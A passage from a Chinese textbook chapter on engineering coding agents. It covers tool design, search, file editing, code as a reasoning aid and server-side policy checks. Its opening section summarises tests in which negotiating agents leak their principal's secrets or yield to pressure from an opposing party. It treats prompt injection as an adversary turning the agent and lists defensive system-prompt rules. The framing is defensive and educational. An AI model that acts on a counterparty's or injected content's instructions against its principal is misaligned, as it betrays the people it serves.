（本段是通用 Agent 安全议题——委托方忠诚（principal loyalty）——在 Coding Agent 场景下的延伸讨论，与本节可靠性工程主线关系较松，读者可按需选读。）前面的安全机制防的是“命令被做坏”，还有一类更微妙的安全问题：**Agent 到底站在谁那一边**。今天的模型在训练时被灌输了一条朴素的默认原则——“谁在跟我说话，我就尽力帮谁”。但真实的 Agent 常常处在**多方委托**的处境里：它代表它的主人（principal）行事，同时又要和利益相反的第三方打交道。一个替你砍价的 Agent、一个替公司初筛简历的 Agent、一个代表你和客服交涉的 Agent，对面坐着的都不是“需要被帮助的用户”，而是**交涉对手**。此时“谁说话帮谁”就是一条危险的默认设置——对手只要开口，就可能把 Agent 策反。

把前沿模型放进这种处境里实测一遍，会看到一条清晰的**忠诚度光谱**，而且两端都会翻车[^ch5-1]。一端是**太老实**：把主人的私密信息（比如“我方底价是 12000”）直接抖给对手，甚至只要被追问就承认“这个信息存在”；被反复施压几轮就缴械让步。另一端是**太多疑**：为了不泄密，连主人正当的请求也一概拒绝、什么都不敢办，反而没法完成任务。十几个前沿模型在这件事上呈明显的两极分化——有的能把“出卖主人”的比例压到两成以下，有的却高得离谱。真正难的地方在于，这两种失败是一根跷跷板：把泄密堵死，往往就滑向过度拒绝，反之亦然，很难两全。

这个视角对 Coding Agent 和 Agent Harness 尤其贴切。Coding Agent 每天面对的“对手”无处不在：仓库里读到的一段不可信内容、某个工具返回的输出、一个第三方 MCP 服务器发来的指令——**提示注入本质上就是一个“对手”在试图让你的 Agent 倒戈**（第二、四章）。因此 Harness 层要把“忠诚对象”显式地钉死：主人（部署者与授权用户）的指令优先级最高，而一切来自外部交互方的内容都默认降格为“可参考、但不具备指令效力”的数据。落到系统提示上，一套行之有效的**忠诚度守则**是：保护主人的私密信息乃至它的“存在性”；拒绝时不要把拒绝的清单一条条念出来（那本身就在泄露）；私下的底线不等于对外的立场（底价 12000 不代表可以说出、更不代表可以接受 12000）；有条件的让步权限先攥在手里、不主动亮出；只执行主人明确、具体的指令；顶住重复施压、不把“被问了很多次”当成让步的理由。把这些规则写进系统提示，能显著降低“被策反”的概率——本质上，这是在用 Harness 为模型补上一条它默认没有的立场：**对主人绝对忠诚，对外部交互方保持审慎**。

[^ch5-1]: 这条忠诚度光谱及守则的完整评测见 Li, Bojie and Noah Shi. *Whose Side Is Your Agent On? Multi-Party Principal Loyalty in LLM Agents.* arXiv:2606.30383, 2026.

**当 AI 写的代码本身不可信：把信任边界下移。**

（本段是上一段忠诚度讨论的延伸——把约束从“寄望 Agent 自觉”下移到数据层强制执行，同样偏通用 Agent 安全、可选读。）前面的忠诚度守则让 Agent **更可能**守规矩，但“更可能”对高危的数据操作还不够。顺着这个不满往下推，会得到一个更彻底的立场[^ch5-2]。过去三十年，软件的完整性边界一直在**应用层**——由 handler 代码决定谁能操作、什么值合法、什么状态转移允许，数据库则无条件信任这些代码写进来的东西。这套安排的前提是：边界上的代码由**负责任的人**编写、审查、运维。而 AI 把这个前提打破了两次：其一，LLM 生成的 handler 经常漏掉那些人类作者会跨功能默默带上的权限与完整性检查；其二，自主 Agent 直接对生产数据下手，一次提示注入或一次幻觉，就能破坏或泄露它的凭据所能触及的一切。

主流的应对是去**加固那个不可信的层**——用宪法式原则引导生成、用 linter 查结构、用 contract 监控 Agent 的动作。它们都让 AI 写的代码“更可能”守规矩，却都没改变**到底哪一层被信任**。更彻底的做法是反其道而行：**干脆把应用层当作不可信的，把数据不变量的强制执行下沉到它下面**（可称之为权限内嵌的数据对象，Permission-Embedded Data Objects）。每个数据实体都在一份**人类审查过的 schema** 里自带声明式的权限规则、校验器和后果声明，一条三级运行时流水线在**每一次写入**时强制执行它们。关键是一个统一的原语——挂在每个操作上的**访问上下文（access context）**：被重新生成的 handler 以它所服务的用户的权限运行，自主 Agent 则以它自己受限的身份（scoped principal）运行——这正好接上了前面“忠诚度”的话题：与其只寄望 Agent 忠诚，不如从架构上把它降格为一个权限受限的主体，让它即便被策反也越不过雷池。

这样做的代价与收益都很干脆。把这套机制与几种主流方案放在同一批 prompt 上对照，它能做到**没有任何一次写入违反声明的不变量**（干净的零）；而同样的 prompt 下，裸 SQL、LLM 自己写的检查、宪法式提示、动作边界拦截器都会漏过数次到数十次违规。这个“零”正是结构性机制该给的东西——它不是“更可能对”，而是“不可能错”，代价只是流水线每次写入多花约 2 毫秒。当然，这个保证是有条件的：schema 要真的把想要的不变量写全，且部署上必须堵死不可信层绕过存储、直连数据库的所有路径（靠进程隔离、网络 sidecar 或能力句柄来实现）。对 Coding Agent 而言，这给出一条重要的架构原则：**当写代码的和跑代码的都可能不可信时，真正可靠的约束不能待在被生成的代码里，而要待在它下面那层人类审查过的地基里**——这也是第一章“约束优先于指导”原则在数据层的终极形态。

[^ch5-2]: 这一“把信任边界下移到应用层之下”的设计与评测（含各方案违规次数的完整对照）见 Li, Bojie. *The Application Layer Is No Longer Trusted: Enforcing Data Invariants Below AI-Written Code and AI Agents.* 2026（待发表）.

### Coding Agent 的实现技巧

上面的工作流程是理想状态。要让它在实践中真正跑起来，还需要几个具体的实现技巧——在保证思考质量的前提下，把响应速度提上去、把上下文消耗降下来。它们是第二章、第四章讨论的通用 Agent 技术在编程领域的具体应用。

**并行工具调用、流式执行与级联中止。**

传统 Agent 实现往往采用串行模式：生成一个工具调用，执行完，拿到结果，再决定下一步。这种严格的排队等待浪费了大量时间。

现代 Coding Agent 应充分利用流式响应：第二章在讨论模型输出顺序时介绍了这一机制——第一个工具调用的参数一经生成完整、通过校验，即可立即开始执行，无需等待模型生成后续的工具调用。例如，模型在一次推理中要连续输出搜索代码、查配置文件、读日志三个工具调用，第一个调用的参数刚一完整通过校验就能立即启动，与后两个调用的生成过程重叠进行；彼此独立的调用之间还可并行执行而非排队等待。这种重叠执行显著降低了端到端延迟，使 Agent 的响应更加敏捷。

并行执行的另一面是故障处理。每个工具定义应声明自己是否支持并发执行（默认为否，失败安全）；当某个调用失败时，通过级联中止机制终止同一批并行启动、依赖该结果的其他调用，但不波及独立的调用和父级操作——这正是上一节 Harness 视角下“故障边界控制”原则的具体实现。

**上下文的精细化管理。**

Coding Agent 面临的根本挑战是代码库通常很大，但模型上下文窗口有限。即使先进模型号称支持百万级 token，把整个代码库一股脑塞进上下文既不经济也没必要。智能的上下文管理需在多个层面展开。

在文件读取层面，Agent 不应总是读取文件全部内容。对大型文件，工具应支持按行号范围读取特定片段——比如只读第 100 到 150 行，而不是把几千行的文件全部加载。更重要的是，返回内容时附加行号标注——每行代码都以实际行号作为前缀。这个看似简单的设计带来巨大价值：模型可精确引用“在 `src/main.py` 的第 42 行”，减少歧义并使后续编辑操作更可靠。

在命令执行层面，终端输出的处理同样需要谨慎。编译或测试可能产生数千行输出，如果全部注入上下文会迅速耗尽预算。第四章介绍的长输出截断与持久化机制在这里广泛应用：保留输出的前若干行（通常包含错误上下文）和后若干行（通常包含错误总结），中间以一行提示替代，并说明完整输出已保存到临时文件供按需查看。

**环境信息的动态注入。**

这是第二章介绍的 Agent 状态栏技术在 Coding Agent 中的集中体现。与通用 Agent 不同，Coding Agent 高度依赖执行环境的状态。每次推理前应在上下文末尾以 Agent 状态栏形式注入以下关键环境信息：

- **当前工作目录**：确保路径引用不会出错
- **git 分支**：知道自己在主分支还是特性分支上工作
- **最近提交记录**：了解项目的演化脉络
- **未暂存和已暂存的变更概览**：清楚已经做了哪些修改

这些信息不应硬编码在静态系统提示词中——那样会破坏 KV Cache 效率——而应作为动态的、追加式的 Agent 状态栏实时生成并注入。通过这种方式，Agent 获得了“环境感知”能力，每个决策都基于对当前状态的准确理解，而非过时的假设。

**命令执行环境的状态持久化。**

在与代码交互时，许多操作依赖环境状态：切换目录、激活虚拟环境、设置环境变量、启动后台服务。如果每次命令都在全新 shell 中执行，这些状态都会丢失——Agent 刚用 `cd` 切到项目目录，下一条命令又回到了根目录，不得不反复做同样的设置。更糟糕的是，某些操作（如激活 Python 虚拟环境）的效果只在当前 shell 会话中有效，无法跨会话传递。

因此应维护一个持久化的终端会话，在 Agent 启动时创建并在整个交互过程中保持活跃。每次命令都在这个共享终端中执行，保留工作目录、环境变量和会话状态。这种设计更符合人类开发者的工作习惯——我们通常就是在一个长期运行的终端窗口中工作。当然，Agent 也应保留启动隔离终端的能力以支持并行任务，但持久化会话应是默认模式。

**即时的语法反馈机制。**

这再次体现了 Agent 状态栏技术的价值。Agent 修改代码后，不应等到用户明确要求测试时才检查语法。更高效的做法是：文件写入操作一完成，工具层就自动运行相应的 linter 或语法检查器，将检查结果作为工具返回值的一部分呈现给 Agent。如果检测到语法错误，Agent 在下一轮推理中立即看到详细错误信息——就像程序员在 IDE 中打错一个括号，编辑器立刻画红线提醒一样。这种即时反馈机制显著降低了错误修复成本，因为 Agent 可以在错误引入的那一刻就进行修正，而不需要等到运行测试时才发现问题。

这五个实现技巧——并行与流式、上下文管理、环境感知、状态持久化、即时反馈——共同构成了高效 Coding Agent 的技术基础。它们不是孤立的优化点，而是相互配合的设计决策，共同指向一个目标：让 Agent 能够像经验丰富的开发者那样流畅地工作。

### Coding Agent 中的搜索工具

在庞大的代码库中定位相关代码是 Coding Agent 工作的起点。图5-3 对比了几类互补搜索工具，说明成熟 Coding Agent 应如何根据任务性质选择检索方式。

![图5-3 Coding Agent 搜索工具对比](images/fig5-3.svg)


**正则表达式内容匹配**（grep/ripgrep）：最传统的搜索方式，逐行扫描文件内容进行模式匹配。当 Agent 知道要查找的具体文本（函数名、变量名、错误消息）时，能快速准确地定位所有出现位置。正则表达式（用特殊符号描述文本模式的语法，如 `def handle.*` 匹配所有以 `handle` 开头的函数定义）的强大表达能力可以捕捉复杂模式，不仅可以搜索字面文本，还可以搜索符合特定结构的代码片段。在实际使用中还应支持文件类型过滤（只搜索 Python 文件）和路径模式过滤（排除测试目录）以减少噪音。根本局限在于只能找到文本上匹配的内容，无法理解语义——搜索“用户认证”时，无法找到虽然没有“认证”二字但确实处理登录逻辑的函数。

**文件名模式匹配**（glob）：不看文件内容，只在文件系统的路径结构中查找符合模式的文件。如 `**/*.test.ts` 递归找到所有 TypeScript 测试文件，`src/components/**/Button.tsx` 在 components 下任意深度查找 Button.tsx。速度比内容搜索快得多（不需要打开和读取文件），是 Agent 探索项目结构的第一步——通过快速扫描整个文件系统建立项目的组织框架。

**语义代码搜索**：与前两种精确匹配方法不同，试图理解查询和代码的“意义”。需解决两个关键问题：

- **结构感知的分块**：代码有严格的语法结构，应按函数、类、方法等完整语义单元切分，而非按固定字符数盲目切割。
- **混合检索**（第三章详细介绍了这套技术栈）：向量嵌入（稠密嵌入）擅长找到语义相似但用词不同的代码（比如搜索“验证用户身份”能找到名为 `check_credentials` 的函数），关键词匹配（BM25，一种基于词频和文档长度的经典检索算法）擅长精确匹配函数名和变量名。两者并行执行后通过重排序模型（reranker，用交叉编码器对候选结果做精细化的相关性排序）合并排序，互补覆盖。

语义搜索特别适合探索性任务，如在不熟悉的代码库中寻找“与数据库交互”或“处理用户输入验证”相关的代码。

不过，是否值得为语义搜索建立嵌入索引，业界存在明显的路线之争。以 Claude Code 为代表的终端型 Agent 刻意**不建嵌入索引**，纯靠 agentic 的 grep + glob 现场检索——这样既不必维护随代码演化而不断陈旧的索引、也省掉了一整套索引基础设施，更避免了把代码嵌入外发到第三方服务的风险。Cursor 这类 IDE 型工具则走相反路线：愿意为**跨文件的语义召回**付出建索引的成本，靠嵌入索引在大型代码库中快速找到语义相关但用词不同的片段。两条路线的取舍，本质上是在“基础设施与数据外发的代价”和“跨文件语义召回的收益”之间做权衡。

**符号级定义与引用查找**：基于 IDE 的“跳转到定义”“查找所有引用”能力（LSP，即 Language Server Protocol，语言服务器协议——一种让编辑器与语言分析引擎通信的标准协议），能区分同名符号的定义和调用——例如它知道 `authenticate` 在第 42 行是函数定义、在第 189 行是调用，而文本搜索只能找到所有包含该字符串的行。对代码重构尤其关键——重命名函数时不能仅靠文本搜索（函数名可能出现在注释或字符串中），必须通过符号搜索精确定位定义和所有真正的调用点。

这四种搜索方式构成互补的工具箱，实践中往往组合使用：先用语义搜索找到相关模块，再用正则匹配精确定位具体代码行，最后通过符号搜索追踪调用链——“从粗到细、从语义到语法”的渐进式策略。

### Coding Agent 中的文件编辑工具

文件编辑的难点不在于操作本身，而在于如何让 LLM 以高效又可靠的方式告诉系统“改哪里、怎么改”。图5-4 对比了五种文件编辑方案，展示人类语言表达与机器精确执行之间的根本张力。

![图5-4 五种文件编辑方案对比](images/fig5-4.svg)


**差异描述 + Apply Model**：模型不是直接指定如何编辑文件，而是生成一份变更描述——可以是类似 git diff（即 `git diff` 命令输出的那种“删了哪几行、加了哪几行”的格式）的差异文本，也可以是带省略标记的代码骨架（用“此处保持不变”之类的注释跳过未修改部分）。这份描述随后交给专门的“应用模型”（Apply Model）——通常是另一个更小、更快的 LLM——负责与原文件合并、产出完整的新文件。这种分离关注点的设计让主模型专注高层代码逻辑、应用模型专注底层文本操作。朴素实现的脆弱性在于合并环节：变更描述与文件实际代码有微小出入时需判断是否同一位置，存在多个相似代码片段时可能合并到错误的地方。Cursor 是这条路线持续演进的代表：主模型输出带省略标记的代码骨架，由专门训练的 fast-apply 小模型重写出完整文件，并借助推测解码（speculative decoding，以原文件内容为草稿并行验证）把合并速度做到每秒上千 token——用工程投入换取了这条路线的可靠性和速度。

**旧字符串到新字符串**（Old String → New String）：Claude Code 采用的方案。模型提供 old string（要被替换的原文）和 new string（替换后的新文本），框架执行简单的字符串查找替换。优势是可预测性和透明性——old string 在文件中存在且唯一则成功，否则失败，不存在模棱两可。代价是删除大段代码时需完整输出所有原始内容，一个字符的偏差就会匹配失败；同一代码出现多次时需提供更长的上下文来消除歧义。

**行号定位**（Old Line Numbers → New String）：模型指定“删除第 X 到 Y 行，插入新内容”。行号精确无歧义，大段删除只需两个数字。但模型“数”行号容易出错，尤其文件很长时。实践中通常在读取文件时给每行加上行号标注来缓解，但每次编辑后后续行号都会变化，这就限制了多处编辑的并行性。

**类 Vim 编辑命令**：借鉴 Vim 编辑器的命令体系，支持复制、剪切、粘贴等丰富操作。对重组代码（将函数从一处移动到另一处）非常高效。但命令语法的学习负担较大，最强的模型能较好使用，较小的模型错误率则会明显上升。

**字符串首尾匹配**（Old String Start + End → New String）：可以看作旧字符串替换方案的改进。模型不需要输出完整的 old string，只需提供要删除内容的开头几行和结尾几行，中间部分可省略。框架通过匹配这个开头和结尾来定位替换区域，只要这对“首尾”组合在文件中唯一就能准确定位。这种方案综合了文本替换的可靠性和行号方案的效率——处理大段代码删除时无需输出数百行原始代码，只需展示边界即可。同时因为仍然基于内容匹配而非抽象行号，模型犯错的风险相对较低。

**实践建议**。综合来看，主流 Coding Agent 在两条路线上各有代表：Claude Code 采用“旧字符串到新字符串”方案——可靠性优先、实现简单、无需额外模型；Cursor 则把 Apply Model 路线做到了极致——以专用 fast-apply 模型的训练和推理投入，换取更高的编辑吞吐。对自建 Agent 而言，“旧字符串到新字符串”是最稳妥的起点；处理大段改动时“字符串首尾匹配”是更经济的折中；行号方案仅在 IDE 深度集成（编辑器实时维护行号映射、并能在每次编辑后立即重新供给模型）的场景下才具备可靠性，否则容易因行号漂移而失效。

## 代码：通用 Agent 的元能力

前一部分展示了如何构建一个可靠的 Coding Agent——从架构设计到工具实现再到 Harness 工程。但代码生成的价值远不止于写程序。

> **什么是“元能力”？** 普通能力是 Agent 能做某件具体的事——回答问题、调用某个 API、生成一段文字。**元能力**（meta-capability）是一种“能创造其他能力”的能力：Agent 用它当场写出新工具、新约束、新表达形式来完成任务，而不必事先把所有能力都预制好。代码生成正是这样的元能力——它精确、可执行、可组合，因此既能产出新工具（脚本、API 调用序列），也能产出新约束（断言、校验规则），还能产出新的表达形态（HTML 表单、PPT、视频帧）。

正因如此，代码在 Agent 体系中扮演的角色远超“写程序”。接下来六节就分别展示这种元能力在编程之外的六个发挥方向：(1) 思考工具——用代码替代自然语言进行严格推理；(2) 业务规则约束——用代码固化政策避免模型幻觉；(3) 多媒体生成——用代码生成 PPT/视频/可视化；(4) 系统适配器——用代码连接异构 API；(5) 生成式 UI——用代码动态生成表单与界面；(6) 自举——用代码创造新 Agent。

这六个方向并非平行罗列，而是按“元能力作用对象”由内向外组织：

1. **思维本身**——用代码替代易错的自然语言推理（思考工具）；
2. **业务规则**——把模糊的政策编码为可执行约束（业务规则约束）；
3. **内容呈现**——生成 PPT、视频与可视化产物（多媒体生成）；
4. **系统接口**——桥接异构 API，自动适应数据格式演化（系统适配器）；
5. **用户界面**——动态构造表单与交互界面（生成式 UI）；
6. **Agent 自身**——用代码创造新 Agent，形成自举（区别于第八章不改权重的“自我进化”）。

沿着这条“由内而外、最终回到自身”的脉络阅读，能更清楚地看到代码作为元能力的统一价值。按需创造新工具是这一元能力的进一步延伸，第八章将展开。

### 代码作为思考工具

LLM 在自然语言理解和生成上表现惊人，但在精确计算、符号操作或严格逻辑推导上却有根本短板。原因在于：模型思考本质上是概率性的、近似的，而数学和逻辑问题要求确定性的、精确的答案。用一个具体对比说明：

```
问题："一个班有 40 名学生，其中 60% 选修了数学，45% 选修了物理，25% 两门都选了。
      只选了物理没选数学的有多少人？"

纯自然语言推理（容易出错）：          代码推理（精确可验证）：
"60%选数学 = 24人，                   math = int(40 * 0.60)    # 24
 45%选物理 = 18人，                   phys = int(40 * 0.45)    # 18
 25%都选 = 10人，                     both = int(40 * 0.25)    # 10
 只选物理 = 24 - 10 = 14人"           only_phys = phys - both  # 8
→ 误从数学人数中减，答案错误          → print(only_phys)  # 8 ✓
```

让 LLM 负责理解问题并写出代码，让代码解释器负责精确计算——这种分工让两者各司其职。

Mathematica 创始人 Stephen Wolfram 对此提出了深刻洞察。在 LLM 出现之前，已经存在一类能做精确数学计算的系统——它们使用**符号计算**（Symbolic Computation）的方式工作，即用数学符号而非近似数值来处理表达式。例如，普通计算器会把 $\sqrt{2}$ 算成 1.414，但符号计算系统会保持 $\sqrt{2}$ 的精确形式，只在需要时才转为小数。Wolfram 创建的 Wolfram Alpha 就是这样一个系统，用户输入数学问题，它返回精确答案。然而它的自然语言理解相当脆弱、覆盖面也窄——它依赖一套内置的语法解析，能识别的问法有限，问法稍作改变就可能解析失败，更无法处理开放域的多步推理。LLM 恰好弥补了这个短板——它擅长理解各种自然语言表达，但不擅长精确计算。新的协同模式是：让 LLM 负责理解用户的自然语言问题，识别其中的数学或逻辑结构，并转化为形式化语言（如 Mathematica 语言或 Python 的 SymPy 库）；然后交给专门的符号计算引擎或约束求解器执行，获得精确结果。

> **实验 5-1 ★★：使用代码生成工具提升数学解题能力**
>
> **实验目标**：验证 Agent 通过 Code Interpreter 辅助数学思考的准确性提升。
>
> **技术方案**：为 Agent 配备安装了 sympy、numpy、scipy 等数学库的 Python 沙盒。Agent 遇到数学问题时将其形式化为 Python 代码：sympy 进行符号计算（微积分、方程求解），scipy 进行数值优化，numpy 进行矩阵运算。生成的代码在沙盒中执行返回精确结果。
>
> **验收标准**：使用 AIME 2025（美国数学邀请赛）数据集评测。对比纯思维链思考和代码辅助思考的准确率，要求代码辅助模式显著更高。检查代码是否正确使用数学库，求解过程是否逻辑清晰。
>

> **实验 5-2 ★★：使用代码生成工具提升逻辑思考能力**
>
> **实验目标**：评估 Agent 通过约束求解代码辅助逻辑思考的能力。
>
> **技术方案**：为 Agent 配备包含 python-constraint 库的 Code Interpreter。Agent 将逻辑谜题（如骑士与无赖问题）转化为形式化约束定义：识别所有变量（每个岛民身份）、约束条件（“骑士说真话” 等推导），定义约束并调用求解器搜索满足所有约束的解。
>
> **验收标准**：使用 [K&K Puzzle 数据集](https://huggingface.co/datasets/K-and-K/perturbed-knights-and-knaves) 评测，代码辅助模式求解准确率达 90% 以上，显著高于纯思考模式。
>
### 代码作为业务规则的约束

这一节是对前面 Harness 工程的直接回应。Harness 的核心原则之一是“约束：编码化而非文档化”——将规则从自然语言文档转化为可执行的代码，使其成为系统行为的强制约束而非建议性指南。代码生成使 Agent 能够自主完成这个转化过程。

业务规则、办事流程、决策逻辑如果仅用自然语言描述，往往充满歧义。什么是“合理的退款请求”？什么算“紧急情况”？这些概念的边界在自然语言中很难界定——“购买后 7 天内可退款”看似清楚，但“7 天”是自然日还是工作日？“购买”是下单时间还是发货时间？相比之下，代码提供了无歧义的、可执行的知识表达方式——要么成功运行，要么抛出错误，不存在模棱两可。

**精确表达复杂业务规则。**

**自然语言规则 vs 代码化规则：互补而非替代**

将规则写在系统提示词中的优势：模型可基于规则向用户**解释政策**；可根据规则**寻找变通方案**（如 “改签而非取消”）；可在调用工具前初步判断可行性。

将规则代码化为校验工具的优势：代码逻辑的**精确性和无歧义性**——不会出现 “理解偏差”；代码执行的**确定性**——相同输入必产生相同输出；特别适合**复杂规则组合**——多条件布尔组合、时间计算、跨数据源验证。

实践中应结合使用：系统提示词包含自然语言规则供理解和沟通，关键决策点配备代码化校验工具作为“守门员”确保合规性。

代码化规则的真正价值不在于优化 token 效率，而在于**防止不可逆的错误操作**——取消订单、转出资金、删除数据，这些操作一旦执行就无法撤销。代码化校验在操作前设置最后一道防线，这种安全保障的价值远超其实现成本。

**合并校验与执行：checklist 引导思考，真值校验守门**

与其设计独立校验工具，不如让执行工具内部先校验。以 τ-bench（tau-bench，一个模拟航空、电商客服场景，专门评测 Agent 工具调用与政策遵守能力的基准测试）中的航空公司取消政策为例：

```python
def cancel_reservation(
    reservation_id: str,
    cancellation_reason: str,        # "change_of_plan", "airline_cancelled", "other"
    expected_cabin_class: str = None,    # 可选：模型自查用，服务端以数据库真值复核
    expected_has_insurance: bool = None  # 可选：模型自查用，同上
) -> dict:
    """
    取消航班预订。

    取消政策（服务端根据数据库真值强制执行）：
    - 规则 1: 已使用任何航段的订单不可取消
    - 规则 2: 预订后 24 小时内可无条件取消
    - 规则 3: 航空公司取消的航班总可取消
    - 规则 4: 商务舱总可取消
    - 规则 5: 基础经济舱和经济舱需购买旅行保险才可取消

    调用前请先查询订单详情，逐条核对上述政策；expected_* 参数用于
    陈述你的判断依据，仅供服务端比对与审计，不影响政策裁决。
    """
    # 所有政策事实一律从数据库读取，绝不采信模型自报的值
    r = db.get_reservation(reservation_id)
    now = server_clock.now()  # 服务端时钟，而非模型提供

    # 模型自报值与真值不一致时记录告警，用于发现模型的错误认知或潜在注入
    if expected_cabin_class is not None and expected_cabin_class != r.cabin_class:
        log_mismatch(reservation_id, "cabin_class", expected_cabin_class, r.cabin_class)
    if expected_has_insurance is not None and expected_has_insurance != r.has_insurance:
        log_mismatch(reservation_id, "has_insurance", expected_has_insurance, r.has_insurance)

    if r.any_segment_used:
        return {"success": False, "reason": "Cannot cancel with used segments"}

    hours_since_booking = (now - r.booking_time).total_seconds() / 3600
    if hours_since_booking <= 24:
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "Cancelled within 24-hour window"}

    if r.flight_status == "cancelled_by_airline":
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "Airline cancelled flight"}

    if r.cabin_class == "business":
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "Business class cancellation"}

    if r.cabin_class in ["basic_economy", "economy"]:
        if r.has_insurance:
            execute_cancellation(reservation_id)
            return {"success": True, "reason": f"{r.cabin_class} with insurance"}
        return {"success": False, "reason": f"{r.cabin_class} requires insurance"}

    return {"success": False, "reason": "Does not meet cancellation policy"}
```

这个设计的价值要分两层来看。

**第一层：参数作为思考的 checklist**。工具描述中列出了完整的取消政策，并要求模型“调用前先查询订单详情、逐条核对”；可选的 `expected_*` 参数进一步促使模型把自己的判断依据显式写出来。为了填好这些参数，模型必须先调用查询工具获取订单详情，逐一确认每个条件——填写参数的过程本质上是一个**强制性 checklist**。当模型查到舱位是经济舱且未购保险时，很可能在准备调用的过程中就注意到规则 5，从而**根本不会发起调用**，而是直接告诉用户“经济舱未购保险无法取消，可考虑购买保险后再取消或改签”。这一层的价值在于引导思考、减少无效调用；但它不承担安全责任——`expected_*` 参数只是模型的自我陈述，服务端从不把它当作事实。

**第二层：服务端真值校验才是守门员**。注意代码中的关键设计：舱位等级、保险状态、预订时间、航段使用情况、航班状态，全部由服务端查询数据库获得；当前时间来自服务端时钟。**没有任何一条政策事实来自模型自报的参数**。这不是多余的谨慎：模型可能产生幻觉，也可能被提示注入操纵——正如前文“致命三要素”所分析的，同一上下文中的 Agent 难以自证清白。如果把 `cabin_class`、`has_insurance` 乃至 `current_time` 设计成由模型填写的参数，模型只要报错（或被诱导报错）一个值，“守门员”就形同虚设。最后一道防线必须建立在模型无法伪造的数据之上——这与前文“关键操作需要独立验证”的立场一脉相承：独立性不仅指独立的模型，更指独立的数据来源。

三重保障由此完整：(1) 系统提示词的自然语言规则帮助理解和解释；(2) 工具描述与参数设计作为 checklist，引导模型在调用前显式核对条件；(3) 服务端基于数据库真值的代码化校验作为最后守门员。前两重减少错误的发生，第三重确保错误不会变成不可逆的损失。

> **实验 5-3 ★★：小模型通过代码化知识提升执行规则的准确性**
>
> **实验目标**：验证小参数量模型（Qwen3-4B）通过代码化业务规则显著提升复杂政策执行的准确性和一致性。
>
> **技术方案**：基于 τ-bench 航空客服场景设计对照实验。**控制组**：纯自然语言规则，依赖模型自身思考。**实验组**：三重保障——系统提示词保留自然语言规则；工具描述列出完整政策，并以可选的 `expected_*` 参数引导模型调用前逐条核对（checklist）；工具内部基于模拟数据库真值的代码化校验（政策事实一律查库获取、时间取服务端时钟，不采信模型自报参数）。评测指标：任务成功率、政策违规次数、无效工具调用次数、用户体验。
>
> **预期结果**：实验组显著优于控制组。更重要的是，观察到模型在准备参数时就自主识别违规操作，直接向用户提议替代方案，验证“参数作为 checklist”的有效性；同时统计 `expected_*` 自报值与数据库真值不一致的比例，验证“服务端真值校验”拦截错误认知的必要性。
>
### 代码驱动的多媒体生成

许多复杂文档的创作本质上是结构化数据的组织和呈现。无论是演示文稿、技术报告还是交互式应用，底层都由代码定义——HTML 描述结构，CSS 控制样式，JavaScript 实现交互。传统的文档创作依赖 GUI 界面的所见即所得编辑，但对 Agent 来说既不直观也不高效，因为 GUI 操作需要视觉理解和精确的坐标定位。通过代码生成，Agent 绕开了视觉定位难题，获得对文档的精确控制能力——每个元素的位置、样式、内容都是明确定义的，可以用程序化的方式修改和优化。

**PPT 生成 Agent。**

PPT 创作往往耗时费力。一个典型的学术报告 PPT 可能包含数十页幻灯片，每页都需精心设计布局、提炼要点、选配图表。如果将 PPT 创作重新框定为代码生成问题，就能极大简化复杂度。现代 PPT 框架（如 Slidev）采用优雅的设计哲学：用 Markdown 和 HTML 定义演示内容。创建一页幻灯片只需编写简洁的标记语言，框架自动处理渲染、布局、动画。对掌握了代码生成能力的 Agent 极其友好。

![图5-5 PPT 生成的提议者-审核者机制](images/fig5-5.svg)


仅能生成代码还不够。**Agent 编写完代码后并不知道实际渲染效果**：内容是否太挤、文字是否溢出、图片尺寸是否合适，这些只有真正渲染出来才能发现。因此需要引入**提议者-审核者**（Proposer-Reviewer）机制（如图5-5所示），将代码编写和质量评审解耦为两个独立 Agent：

- **Proposer Agent** 负责生成 Slidev 代码，理解内容逻辑结构并分解为合理页面
- **Reviewer Agent** 运行代码将每页渲染为图片，用 Vision LLM（能“看”懂图片的多模态大模型）从内容密度、可读性、布局合理性、视觉美感等维度分析渲染结果，生成**结构化的改进建议**——不是模糊的“不好看”，而是具体可执行的指导（如“第 3 页：内容过多，建议拆分”、“第 7 页：代码块字体过小，建议增大到 14pt”），包含页码、问题类型、严重程度等字段

Proposer 接收反馈后理解意图并修改代码，新版本再次提交 Reviewer 审查，迭代直到质量达标或达到最大次数（如 5 轮）。

本章的提议者-审核者迭代循环与第四章的**事前审批**应用同源——都是提议者-审核者范式的实例：生成与审查分离、双模型独立评估。差异在目标与形态：第四章将其用于不可逆操作的安全审查，审核者对单次操作给出批准或否决；本章将其用于内容质量的迭代改进——多轮循环，且审核者接触到提议者看不到的新信息（渲染结果）。核心设计原则一脉相承（共享目标约束、使用不同模型家族降低同类错误概率、反馈作为特殊事件加入 Proposer 轨迹）。采用双 Agent 分工而非单 Agent 循环的**核心优势在于上下文管理**：Reviewer 每次只处理最新版本的渲染图片，不受历史版本干扰；Proposer 仅累积结构化文本反馈，token 消耗少且更易于推理。单 Agent 方案则需要在同一上下文中累积数十页渲染图片的多轮迭代，上下文迅速超限。这一机制将在后续的视频编辑和日志可视化实验中重复使用；第十章将进一步探讨提议者-审核者之外的其他多 Agent 协作模式。

> **实验 5-4 ★★：基于论文的 PPT 自动生成**
>
> **实验目标**：从学术论文自动生成高质量演示文稿，验证提议者-审核者机制在内容创作质量控制中的有效性。
>
> **技术方案**：使用 Slidev 框架。Proposer Agent 阅读论文 PDF，提取章节结构、核心论点和图表，规划 PPT 结构，逐页生成 Slidev 代码。**关键步骤**：Reviewer Agent 渲染每页截图，用 Vision LLM 检查渲染效果，识别文字溢出、内容拥挤、图片尺寸不当等问题，生成结构化改进建议。迭代直到效果达标。
>
> **验收标准**：生成 10-20 页 PPT，覆盖论文主要贡献。至少 3 处原图表且与文字说明匹配。渲染无文字溢出、布局合理。对比单 Agent 自我审查 vs 提议者-审核者分工在上下文消耗和生成质量方面的差异。
>

> **实验 5-5 ★★：论文讲解视频的自动生成**
>
> **实验目标**：扩展 PPT 生成能力，结合视觉和听觉通道实现视频讲解自动生成。
>
> **技术方案**：基于实验 5-4 的 PPT 生成流程，Agent 同时生成每页的口语化讲解文字（引导性叙述而非复述），调用 TTS（文本转语音）合成语音，用 ffmpeg 将 PPT 截图与音频同步合成视频。
>
> **验收标准**：视频 5-15 分钟，每页展示时间与语音时长精确匹配，讲解内容与视觉元素呼应。
>
>
> ![图5-6 论文到讲解视频的端到端流水线](images/fig5-6.svg)
>
>
**视频编辑 Agent。**

